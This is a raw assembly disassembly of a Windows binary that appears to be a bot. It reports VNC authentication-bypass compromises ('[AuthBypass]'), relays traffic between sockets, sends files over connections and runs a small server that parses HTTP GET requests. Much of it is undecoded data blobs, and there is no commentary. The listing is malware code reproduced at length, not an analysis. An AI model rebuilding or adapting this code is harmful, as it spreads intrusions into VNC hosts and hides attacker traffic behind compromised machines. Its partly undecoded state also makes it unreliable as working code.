		push	offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]"
		push	200h
		push	eax
		call	sub_41B980
		push	0
		lea	eax, [ebp-24Ch]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_409A72
		lea	eax, [ebp-24Ch]
		push	eax
		call	sub_4151AC
		mov	eax, [ebp+0B0h]
		add	esp, 34h
		shl	eax, 6
		inc	dword_431410[eax]
		push	ebx
		lea	eax, dword_431410[eax]
		nop
		call	near ptr 71AB1A6Dh
		push	1
		pop	eax
		jmp	short loc_40E470
; ---------------------------------------------------------------------------

loc_40E467:				; CODE XREF: ___:0040E284j
					; ___:0040E2A9j ...
		push	ebx
		call	near ptr 71AB1A6Dh
		nop

loc_40E46E:				; CODE XREF: ___:0040E26Ej
		xor	eax, eax

loc_40E470:				; CODE XREF: ___:0040E465j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 404h

loc_40E47E:				; CODE XREF: ___:0040E49Aj
					; ___:0040E4B6j
		push	0
		lea	eax, [ebp-404h]
		push	400h
		push	eax
		push	dword_4CDCB4
		call	dword_4CAF8C
		test	eax, eax
		jle	short loc_40E47E
		lea	ecx, [ebp-4]
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp-404h]
		push	eax
		push	dword_4CDCB0
		nop
		call	near ptr 2700000h
		jmp	short loc_40E47E
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 404h

loc_40E4C1:				; CODE XREF: ___:0040E4E7j
					; ___:0040E501j
		lea	eax, [ebp-4]
		and	dword ptr [ebp-4], 0
		push	0
		push	eax
		lea	eax, [ebp-404h]
		push	400h
		push	eax
		push	dword_4CDCA4
		nop
		call	near ptr 2710000h
		cmp	dword ptr [ebp-4], 0
		jle	short loc_40E4C1
		push	0
		lea	eax, [ebp-404h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword_4CDCB4
		call	dword_4CAFC4
		jmp	short loc_40E4C1
; ---------------------------------------------------------------------------
byte_40E503	db 55h			; DATA XREF: sub_401ACD+2D0Do
dword_40E504	dd 0EC81EC8Bh, 11Ch, 5308458Bh,	286A5756h, 8D59F08Bh, 0FFFEE4BDh
		dd 6AA5F3FFh, 5EFF3301h, 98B089h, 106A0000h, 57C8458Dh
		dd 0D05AE850h, 0C4830000h, 45C7660Ch, 0FF0002C8h, 0FFFF68B5h
		dd 7415FFFFh, 6A004CAFh, 26A5606h, 0CA458966h, 0AFF415FFh
		dd 4589004Ch, 0C8458D08h, 0FF50106Ah, 15FF0875h, 4CAFA0h
		dd 75FF056Ah, 9C15FF08h, 8B004CAFh, 4270FC1Dh, 68358B00h
		dd 57004270h, 875FF57h,	0B00815FFh, 0B4A3004Ch,	8D004CDCh
		dd 5057F445h, 4CDCB068h, 0DCAC6800h, 45C7004Ch,	0CF4h
		dd 0FC45C700h, 1, 0FFF87D89h, 0F4458DD3h, 0A8685057h, 68004CDCh
		dd 4CDCA4h, 446AD3FFh, 5784458Dh, 0CFBEE850h, 0ACA10000h
		dd 83004CDCh, 45890CC4h, 0DCA8A1BCh, 4589004Ch,	16A57C0h
		dd 6AC4458Dh, 45C75002h, 4484h,	0B045C700h, 101h, 0B47D8966h
		dd 200CE890h, 0FF500231h, 4CDCA835h, 0FFE89000h, 5002311Fh
		dd 19E6E890h, 458D0231h, 458D50D8h, 57575084h, 9068h, 0F4458D04h
		dd 8D50016Ah, 6850F445h, 43350Ch, 0FAE89057h, 8D022625h
		dd 5750E845h, 0E4B86857h, 458D0040h, 905057F4h,	281F7FE8h
		dd 0EC458902h, 50E8458Dh, 75685757h, 8D0040E4h,	5057F445h
		dd 1F66E890h, 0FF6A0228h, 0FFF04589h, 0E890D875h, 22920B6h
		dd 0F075FF57h, 27E3E890h, 0FF570229h, 0E890EC75h, 22927D9h
		dd 0FFF075FFh, 0EC75FFD6h, 0FF57D6FFh, 0E890D875h, 230267Dh
		dd 0DCAC35FFh, 0D6FF004Ch, 0DCB035FFh, 0D6FF004Ch, 0DCA435FFh
		dd 0D6FF004Ch, 0DCA835FFh, 0D6FF004Ch, 0FFDC75FFh, 0D875FFD6h
		dd 0B0E9D6FFh, 0E9FFFFFEh, 0
; ---------------------------------------------------------------------------
		push	0FFFEh
		push	400h
		call	sub_418684
		pop	ecx
		mov	dword_4CDCBC, eax
		pop	ecx
		retn
; ---------------------------------------------------------------------------
byte_40E6EF	db 55h			; DATA XREF: sub_40BACD+34Do
		dd 0EC81EC8Bh, 6C0h, 5308458Bh,	276A5756h, 8D59F08Bh, 0FFFF50BDh
		dd 6AA5F3FFh, 5EDB3301h, 98B089h, 106A0000h, 53EC458Dh
		dd 0CE6EE850h, 0C4830000h, 45C7660Ch, 0FF0002ECh, 0FFFF5CB5h
		dd 7415FFFFh, 53004CAFh, 66026A56h, 89EE4589h, 15FFF05Dh
		dd 4CAFF4h, 0CE83F88Bh,	75FE3BFFh, 0E45D3945h, 8D532075h
		dd 0FFFD4085h, 0E075FFFFh, 60858D50h, 50FFFFFFh, 0FF50B5FFh
		dd 0FFE8FFFFh, 83FFFFB2h, 858D14C4h, 0FFFFFD40h, 6A2AE850h
		dd 0B5FF0000h, 0FFFFFF54h, 0FFCC85E8h, 535959FFh, 186AE890h
		dd 858B022Eh, 0FFFFFF54h, 0C069106Ah, 234h, 0DEBCB889h
		dd 458D0043h, 0FF5750ECh, 4CAFA015h, 0BBC63B00h, 400h
		dd 0CF850Fh, 15FF0000h,	4CAF08h, 27403Dh, 33477400h, 0E47539F6h
		dd 8D562075h, 0FFFD4085h, 0E075FFFFh, 60858D50h, 50FFFFFFh
		dd 0FF50B5FFh, 7FE8FFFFh, 83FFFFB2h, 858D14C4h,	0FFFFFD40h
		dd 69AAE850h, 0B5FF0000h, 0FFFFFF54h, 0FFCC05E8h, 565959FFh
		dd 17EAE890h, 0FE68022Eh, 530000FFh, 9E63E8h, 0BCA35900h
		dd 59004CDCh, 0EE458966h, 6AEC458Dh, 0FF575010h, 4CAFA015h
		dd 75C63B00h, 815FF54h,	33004CAFh, 0E47539F6h, 403D2775h
		dd 74000027h, 858D5620h, 0FFFFFD40h, 50E075FFh,	0FF60858Dh
		dd 0FF50FFFFh, 0FFFF50B5h, 0B204E8FFh, 0C483FFFFh, 40858D14h
		dd 50FFFFFDh, 692FE8h, 54B5FF00h, 0E8FFFFFFh, 0FFFFCB8Ah
		dd 90565959h, 2E176FE8h, 57056A02h, 0AF9C15FFh,	0C63B004Ch
		dd 0D4840Fh, 45C70000h,	10FCh, 9108BE00h, 458D0042h, 858D50FCh
		dd 0FFFFFF40h, 15FF5750h, 4CB008h, 89FFF883h, 0E6740845h
		dd 0E47D83h, 6A2175h, 0FD40858Dh, 75FFFFFFh, 858D50E0h
		dd 0FFFFFF60h, 50B5FF50h, 0E8FFFFFFh, 0FFFFB186h, 8D14C483h
		dd 0FFFD4085h, 0B1E850FFh, 59000068h, 0FD40858Dh, 6AFFFFh
		dd 20068h, 75FF5000h, 8C15FF08h, 83004CAFh, 9674FFF8h
		dd 35FF5656h, 4CACB0h, 0FF50B5FFh, 0E4E8FFFFh, 59FFFFC2h
		dd 35146850h, 858D0043h, 0FFFFF940h, 41E85053h,	830000D0h
		dd 858D1CC4h, 0FFFFF940h, 0E850006Ah, 0C690h, 858D5059h
		dd 0FFFFF940h, 875FF50h, 0AFC415FFh, 0F883004Ch, 43840FFFh
		dd 0FFFFFFFFh, 4CDCC405h, 0FF38E900h, 0FF57FFFFh, 4CB00C15h
		dd 54B5FF00h, 0E8FFFFFFh, 0FFFFCA8Ah, 90006A59h, 2E166FE8h
		db 2
byte_40E991	db 55h,	8Bh, 0ECh	; DATA XREF: sub_40BACD+22Ao
		dd 0A70EC81h, 458B0000h, 57565308h, 0A9B9016Ah,	8B000000h
		dd 20BD8DF0h, 5BFFFFF9h, 9889A5F3h, 2A0h, 0F590858Dh, 0F633FFFFh
		dd 1016850h, 5D890000h,	0D45D89E4h, 89DC5D89h, 0FFFDD4B5h
		dd 0C4B589FFh, 90FFFFFBh, 6A57F9E8h, 6A535671h,	37E89002h
		dd 8B716A52h, 4271F435h, 0E44D8D00h, 0BF51046Ah, 0FFFFh
		dd 5057046Ah, 0FFF84589h, 0D4458DD6h, 6A50046Ah, 7D8B57FBh
		dd 0D6FF57F8h, 50DC458Dh, 4667E68h, 0E8905780h,	716A2B36h
		dd 0ACB0A166h, 6583004Ch, 665000B8h, 2B445C7h, 7415FF00h
		dd 66004CAFh, 8DB64589h, 106AB445h, 83E85750h, 90716A54h
		dd 77DC085h, 60E9C38Bh,	6A000005h, 0E890570Ah, 716A7382h
		dd 0FDD49D89h, 1D8BFFFFh, 427224h, 0FDD8BD89h, 7D89FFFFh
		dd 8D416AFCh, 0FFFDD4B5h, 0BD8D59FFh, 0FFFFFBC4h, 0F633A5F3h
		dd 0FBC4858Dh, 5656FFFFh, 458B5056h, 905040FCh,	6A2DF3E8h
		dd 0FFF88371h, 50E840Fh, 0FF330000h, 89FC7539h,	0C57C087Dh
		dd 646AF633h, 0FD60858Dh, 5056FFFFh, 0CACFE8h, 8D646A00h
		dd 0FFFF5085h, 0E85056FFh, 0CAC0h, 8D18C483h, 0FFFBC485h
		dd 0E85750FFh, 17C76h, 840FC085h, 4BAh,	75F87D3Bh, 0F0458D7Ah
		dd 10F045C7h, 50000000h, 0FDC4858Dh, 0FF50FFFFh, 86E8F875h
		dd 90716A9Bh, 0FFFF883h, 49184h, 39C93300h, 0FFFDD4B5h
		dd 8D1676FFh, 0FFFDD895h, 740239FFh, 0C283410Ch, 0D48D3B04h
		dd 72FFFFFDh, 0D48D3BF0h, 75FFFFFDh, 0D4BD8316h, 40FFFFFDh
		dd 84890D73h, 0FFFDD88Dh, 0D485FFFFh, 3BFFFFFDh, 37EFC45h
		dd 56FC4589h, 0DC68156Ah, 50004337h, 3BE9D3FFh,	56000004h
		dd 0FD60858Dh, 646AFFFFh, 0E8905750h, 716A6B18h, 527FC085h
		dd 0FDD4958Bh, 0C933FFFFh, 3A76D63Bh, 0FDD8858Dh, 3839FFFFh
		dd 83410A74h, 0CA3B04C0h, 26EBF472h, 73CA3B4Ah,	8D848D1Bh
		dd 0FFFFFDD8h, 4104508Bh, 958B1089h, 0FFFFFDD4h, 4A04C083h
		dd 0EC72CA3Bh, 0FDD48DFFh, 9057FFFFh, 6A2EA4E8h, 3D4E971h
		dd 858D0000h, 0FFFFFCC8h, 50858D50h, 50FFFFFFh,	0FD60858Dh
		dd 0D468FFFFh, 50004337h, 0DA58E8h, 50858D00h, 68FFFFFFh
		dd 4337CCh, 0D472E850h,	0C4830000h, 75C08518h, 166A560Dh
		dd 4337B468h, 82E900h, 858D0000h, 0FFFFFF50h, 4337AC68h
		dd 4DE85000h, 590000D4h, 7559C085h, 146A560Ah, 43379468h
		dd 8D61EB00h, 0FFFF5085h, 378C68FFh, 0E8500043h, 0D42Ch
		dd 59C08559h, 6A560A75h, 377C680Dh, 40EB0043h, 0FF50858Dh
		dd 7468FFFFh, 50004337h, 0D40BE8h, 0C0855900h, 560A7559h
		dd 6068106Ah, 0EB004337h, 50858D1Fh, 68FFFFFFh,	43375Ch
		dd 0D3EAE850h, 85590000h, 0E7559C0h, 681E6A56h,	43373Ch
		dd 2F1E957h, 34BF0000h,	8D004337h, 0FFFF5085h, 0E85057FFh
		dd 0D3C4h, 59C08559h, 858D2475h, 0FFFFFCC8h, 43373068h
		dd 0ADE85000h, 590000D3h, 7559C085h, 136A560Dh,	43371C68h
		dd 2B2E900h, 858D0000h,	0FFFFFF50h, 8DE85057h, 590000D3h
		dd 7559C085h, 0C8858D24h, 68FFFFFCh, 433718h, 0D376E850h
		dd 85590000h, 0D7559C0h, 68136A56h, 433704h, 27BE9h, 50858D00h
		dd 68FFFFFFh, 4336FCh, 0D352E850h, 85590000h, 347559C0h
		dd 0D0BE0A6Ah, 59004336h, 0FED8BD8Dh, 0A5F3FFFFh, 0D8858D50h
		dd 50FFFFFEh, 9DE8A566h, 590000C2h, 0D8858D50h,	50FFFFFEh
		dd 0FF0875FFh, 0E9F633D3h, 235h, 0FF50858Dh, 0C868FFFFh
		dd 50004336h, 0D307E8h,	0C0855900h, 6A2A7559h, 36B0BE05h
		dd 8D590043h, 0FFFF38BDh, 66A5F3FFh, 858D50A5h,	0FFFFFF38h
		dd 51E8A450h, 590000C2h, 38858D50h, 0EBFFFFFFh,	50858DB2h
		dd 68FFFFFFh, 4336A8h, 0D2C6E850h, 85590000h, 850F59C0h
		dd 0B6h, 0FD2C858Dh, 8D50FFFFh,	0FFFF0485h, 458D50FFh
		dd 458D50ECh, 458D50E8h, 458D50E0h, 858D50D8h, 0FFFFFD60h
		dd 43368068h, 62E85000h, 8D0000D8h, 0FFFF0485h,	8AE850FFh
		dd 8B0000C9h, 2C858DF8h, 50FFFFFDh, 0C97CE8h, 0F4458900h
		dd 858D326Ah, 0FFFFFF04h, 81E85056h, 830000C7h,	858D34C4h
		dd 0FFFFFF04h, 57F475FFh, 43367868h, 5FE85000h,	6A0000CAh
		dd 4858D10h, 56FFFFFFh,	0CF8FE850h, 0C4830000h,	0F445891Ch
		dd 50EC458Dh, 50E8458Dh, 50E0458Dh, 50D8458Dh, 68C4458Dh
		dd 43366Ch, 0CA2CE850h,	0C4830000h, 1D6A5618h, 43364C68h
		dd 11EE900h, 858D0000h,	0FFFFFF50h, 43364468h, 0F5E85000h
		dd 590000D1h, 0F59C085h, 0E485h, 286A5600h, 43361868h
		dd 875FF00h, 75FFD3FFh,	0C4458DF4h, 120E850h, 83590000h
		dd 0F5901F8h, 0B685h, 0C4458D00h, 20858D50h, 68FFFFF7h
		dd 4335FCh, 0C9C8E850h,	0C4830000h, 0BCB5390Ch,	75FFFFFBh
		dd 858D5623h, 0FFFFF720h, 0FBB8B5FFh, 8D50FFFFh, 0FFFB3885h
		dd 0B5FF50FFh, 0FFFFF920h, 0FFAB89E8h, 14C483FFh, 14AE8h
		dd 1F88300h, 93850Fh, 6A560000h, 35E46817h, 75FF0043h
		dd 8DD3FF08h, 8D50C445h, 0FFF72085h, 35C468FFh,	0E8500043h
		dd 0C96Ah, 390CC483h, 0FFFBBCB5h, 562375FFh, 0F720858Dh
		dd 0B5FFFFFFh, 0FFFFFBB8h, 38858D50h, 50FFFFFBh, 0F920B5FFh
		dd 2BE8FFFFh, 83FFFFABh, 858D14C4h, 0FFFFF720h,	6256E850h
		dd 5FF0000h, 4CDA80h, 562EEB59h, 0A068206Ah, 0EB004335h
		dd 50858D1Fh, 68FFFFFFh, 42C98Ch, 0D0F6E850h, 85590000h
		dd 0D7559C0h, 681B6A56h, 433584h, 0FF0875FFh, 8D646AD3h
		dd 0FFFD6085h, 0E85056FFh, 0C5F4h, 83087D8Bh, 3B470CC4h
		dd 7D89FC7Dh, 18E0F08h,	0E9FFFFFBh, 0FFFFFAC1h,	5F58016Ah
		dd 0C2C95B5Eh
		db 4, 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		lea	eax, [ebp-1A0h]
		push	eax
		push	101h
		call	near ptr 71AB41DAh
		nop
		push	0
		push	1
		push	2
		nop
		call	near ptr 71AB3C22h
		push	dword ptr [ebp+8]
		mov	dword_4CDCC8, eax
		mov	word ptr [ebp-10h], 2
		nop
		call	near ptr 71AB12F8h
		push	dword ptr [ebp+0Ch]
		mov	[ebp-0Ch], eax
		nop
		call	near ptr 71AB1746h
		mov	[ebp-0Eh], ax
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	dword_4CDCC8
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40F036
		push	dword_4CDCC8
		nop
		call	near ptr 71AB1A6Dh
		nop
		call	near ptr 71AB1836h
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_40F036:				; CODE XREF: ___:0040F01Ej
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	esi
		lea	eax, [ebp-104h]
		push	104h
		push	eax
		push	0
		nop
		call	near ptr 2680000h
		lea	eax, [ebp-104h]
		push	offset dword_429068
		push	eax
		call	sub_41B4C2
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40F0D2
		test	byte ptr [esi+0Ch], 10h
		jnz	short loc_40F0B6
		push	edi
		mov	edi, 400h

loc_40F07E:				; CODE XREF: ___:0040F0B3j
		push	esi
		push	1
		lea	eax, [ebp-504h]
		push	edi
		push	eax
		call	sub_41B11A
		add	esp, 10h
		lea	eax, [ebp-504h]
		push	0
		push	edi
		push	eax
		push	dword_4CDCC8
		nop
		call	near ptr 71AB1AF4h
		push	1
		nop
		call	near ptr 2690579h
		test	byte ptr [esi+0Ch], 10h
		jz	short loc_40F07E
		pop	edi

loc_40F0B6:				; CODE XREF: ___:0040F076j
		push	esi
		call	sub_41B05B
		pop	ecx
		push	dword_4CDCC8
		nop
		call	near ptr 71AB1A6Dh
		call	near ptr 71AB1836h
		nop
		push	1
		pop	eax

loc_40F0D2:				; CODE XREF: ___:0040F070j
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F0D5	proc near		; DATA XREF: sub_401ACD+2283o
					; sub_40BACD+475o

var_28F0	= byte ptr -28F0h
var_18F0	= byte ptr -18F0h
var_8F0		= byte ptr -8F0h
var_6F0		= byte ptr -6F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_360		= byte ptr -360h
var_25C		= dword	ptr -25Ch
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_23C		= byte ptr -23Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_34		= byte ptr -34h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 28F0h
		call	sub_41BB20
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_5EC]
		push	1
		rep movsd
		pop	esi
		xor	ebx, ebx
		mov	[eax+3ACh], esi
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		mov	[ebp+var_14], esi
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+var_25C]
		call	dword_4CAF74
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_22], ax
		mov	[ebp+var_20], ebx
		call	dword_4CAFF4
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_C], edi
		jz	loc_40F4C0
		mov	eax, [ebp+var_254]
		push	10h
		imul	eax, 234h
		mov	dword_43DEBC[eax], edi
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_4CAFA0
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4C0
		push	7FFFFFFFh
		push	edi
		call	dword_4CAF9C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4C0
		lea	eax, [ebp+var_14]
		push	eax
		push	8004667Eh
		push	edi
		call	dword_4CB010
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4C0
		mov	ebx, esi
		mov	[ebp+var_134], edi
		mov	[ebp+var_138], ebx
		mov	[ebp+var_8], edi

loc_40F1AC:				; CODE XREF: sub_40F0D5+3E1j
		push	41h
		xor	eax, eax
		pop	ecx
		lea	esi, [ebp+var_138]
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+var_6F0]
		push	eax
		mov	eax, [ebp+var_8]
		lea	edi, [ebp+var_6F0]
		inc	eax
		rep movsd
		push	eax
		call	dword_4CAF5C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4BB
		xor	esi, esi
		mov	[ebp+var_4], esi

loc_40F1E2:				; CODE XREF: sub_40F0D5+3DBj
		lea	eax, [ebp+var_6F0]
		push	eax
		push	esi
		call	dword_4CAE60
		test	eax, eax
		jz	loc_40F4A6
		cmp	esi, [ebp+var_C]
		jnz	short loc_40F264
		lea	eax, [ebp+var_10]
		mov	[ebp+var_10], 10h
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+var_C]
		call	dword_4CB008
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4A6
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40F236
		lea	edx, [ebp+var_134]

loc_40F22A:				; CODE XREF: sub_40F0D5+15Fj
		cmp	[edx], eax
		jz	short loc_40F236
		inc	ecx
		add	edx, 4
		cmp	ecx, ebx
		jb	short loc_40F22A

loc_40F236:				; CODE XREF: sub_40F0D5+14Dj
					; sub_40F0D5+157j
		cmp	ecx, ebx
		jnz	short loc_40F253
		cmp	ebx, 40h
		jnb	short loc_40F253
		mov	[ebp+ecx*4+var_134], eax
		mov	ebx, [ebp+var_138]
		inc	ebx
		mov	[ebp+var_138], ebx

loc_40F253:				; CODE XREF: sub_40F0D5+163j
					; sub_40F0D5+168j
		cmp	eax, [ebp+var_8]
		jbe	loc_40F4A6
		mov	[ebp+var_8], eax
		jmp	loc_40F4A6
; ---------------------------------------------------------------------------

loc_40F264:				; CODE XREF: sub_40F0D5+126j
		mov	edi, 1000h
		lea	eax, [ebp+var_28F0]
		push	edi
		push	0
		push	eax
		call	sub_41B590
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 18h
		lea	eax, [ebp+var_28F0]
		push	0
		push	edi
		push	eax
		push	esi
		call	dword_4CAF8C
		test	eax, eax
		jg	short loc_40F2F7
		push	esi
		call	dword_4CB00C
		xor	ecx, ecx
		test	ebx, ebx
		jbe	loc_40F4A6
		lea	eax, [ebp+var_134]

loc_40F2B6:				; CODE XREF: sub_40F0D5+1EBj
		cmp	[eax], esi
		jz	short loc_40F2C7
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40F2B6
		jmp	loc_40F4A6
; ---------------------------------------------------------------------------

loc_40F2C7:				; CODE XREF: sub_40F0D5+1E3j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40F2EB
		lea	eax, [ebp+ecx*4+var_134]

loc_40F2D5:				; CODE XREF: sub_40F0D5+214j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40F2D5

loc_40F2EB:				; CODE XREF: sub_40F0D5+1F7j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	loc_40F4A6
; ---------------------------------------------------------------------------

loc_40F2F7:				; CODE XREF: sub_40F0D5+1C8j
		xor	esi, esi
		push	104h
		lea	eax, [ebp+var_23C]
		push	esi
		push	eax
		call	sub_41B590
		lea	eax, [ebp+var_28F0]
		mov	[ebp+arg_0], esi
		push	eax
		call	sub_41AFE0
		add	esp, 10h
		test	eax, eax
		jbe	loc_40F4A6

loc_40F325:				; CODE XREF: sub_40F0D5+309j
		mov	eax, [ebp+arg_0]
		mov	al, [ebp+eax+var_28F0]
		cmp	al, 0Ah
		mov	[ebp+esi+var_18F0], al
		jnz	loc_40F3CA
		mov	esi, offset aGet_0 ; "GET "
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F39E
		lea	eax, [ebp+var_18F0]
		push	eax
		call	sub_41AFE0
		cmp	eax, 5
		pop	ecx
		jbe	short loc_40F39E
		mov	eax, offset asc_42CA2C ; " "
		push	eax
		push	eax
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_41B900
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41C0F4
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_41BEB0
		add	esp, 10h
		jmp	short loc_40F3B5
; ---------------------------------------------------------------------------

loc_40F39E:				; CODE XREF: sub_40F0D5+27Fj
					; sub_40F0D5+291j
		lea	eax, [ebp+var_18F0]
		push	offset asc_43381C ; "\r\n"
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F3E9

loc_40F3B5:				; CODE XREF: sub_40F0D5+2C7j
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		or	esi, 0FFFFFFFFh

loc_40F3CA:				; CODE XREF: sub_40F0D5+263j
		inc	[ebp+arg_0]
		lea	eax, [ebp+var_28F0]
		push	eax
		inc	esi
		call	sub_41AFE0
		cmp	[ebp+arg_0], eax
		pop	ecx
		jb	loc_40F325
		jmp	loc_40F4A6
; ---------------------------------------------------------------------------

loc_40F3E9:				; CODE XREF: sub_40F0D5+2DEj
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40F433
		lea	eax, [ebp+var_134]

loc_40F3F5:				; CODE XREF: sub_40F0D5+32Dj
		mov	esi, [ebp+var_4]
		cmp	[eax], esi
		jz	short loc_40F406
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40F3F5
		jmp	short loc_40F436
; ---------------------------------------------------------------------------

loc_40F406:				; CODE XREF: sub_40F0D5+325j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40F42A
		lea	eax, [ebp+ecx*4+var_134]

loc_40F414:				; CODE XREF: sub_40F0D5+353j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40F414

loc_40F42A:				; CODE XREF: sub_40F0D5+336j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	short loc_40F436
; ---------------------------------------------------------------------------

loc_40F433:				; CODE XREF: sub_40F0D5+318j
		mov	esi, [ebp+var_4]

loc_40F436:				; CODE XREF: sub_40F0D5+32Fj
					; sub_40F0D5+35Cj
		lea	eax, [ebp+var_23C]
		test	eax, eax
		jz	short loc_40F49F
		lea	eax, [ebp+var_360]
		push	eax
		call	sub_41AFE0
		mov	edi, eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_41AFE0
		add	edi, eax
		pop	ecx
		cmp	edi, 104h
		pop	ecx
		jnb	short loc_40F49F
		and	[ebp+arg_0], 0
		lea	eax, [ebp+arg_0]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4CB010
		push	[ebp+var_254]
		lea	eax, [ebp+var_23C]
		push	[ebp+var_248]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	esi
		call	sub_40F6B3
		add	esp, 14h
		jmp	short loc_40F4A6
; ---------------------------------------------------------------------------

loc_40F49F:				; CODE XREF: sub_40F0D5+369j
					; sub_40F0D5+38Fj
		push	esi
		call	dword_4CB00C

loc_40F4A6:				; CODE XREF: sub_40F0D5+11Dj
					; sub_40F0D5+143j ...
		mov	esi, [ebp+var_4]
		inc	esi
		cmp	esi, [ebp+var_8]
		mov	[ebp+var_4], esi
		jbe	loc_40F1E2
		jmp	loc_40F1AC
; ---------------------------------------------------------------------------

loc_40F4BB:				; CODE XREF: sub_40F0D5+102j
		mov	edi, [ebp+var_C]
		xor	ebx, ebx

loc_40F4C0:				; CODE XREF: sub_40F0D5+6Aj
					; sub_40F0D5+92j ...
		call	dword_4CAF08
		push	eax
		lea	eax, [ebp+var_8F0]
		push	offset unk_4337F4
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_24C], ebx
		jnz	short loc_40F506
		push	ebx
		lea	eax, [ebp+var_8F0]
		push	[ebp+var_250]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	eax
		push	[ebp+var_5EC]
		call	sub_409A72
		add	esp, 14h

loc_40F506:				; CODE XREF: sub_40F0D5+40Cj
		lea	eax, [ebp+var_8F0]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	edi
		call	dword_4CB00C
		push	[ebp+var_254]
		call	sub_40B412
		pop	ecx
		push	ebx
		nop
		call	near ptr 26F0000h
		pop	edi
		pop	esi
		pop	ebx
sub_40F0D5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F530	proc near		; DATA XREF: sub_40F6B3+24Do

var_1654	= byte ptr -1654h
var_654		= byte ptr -654h
var_550		= byte ptr -550h
var_44C		= dword	ptr -44Ch
var_3C8		= byte ptr -3C8h
var_2C4		= byte ptr -2C4h
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_A4		= dword	ptr -0A4h
var_9C		= byte ptr -9Ch
var_68		= byte ptr -68h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1654h
		call	sub_41BB20
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_44C]
		rep movsd
		mov	dword ptr [eax+3ACh], 1
		lea	eax, [ebp+var_3C8]
		push	eax
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_654]
		push	eax
		call	sub_41B886
		xor	edi, edi
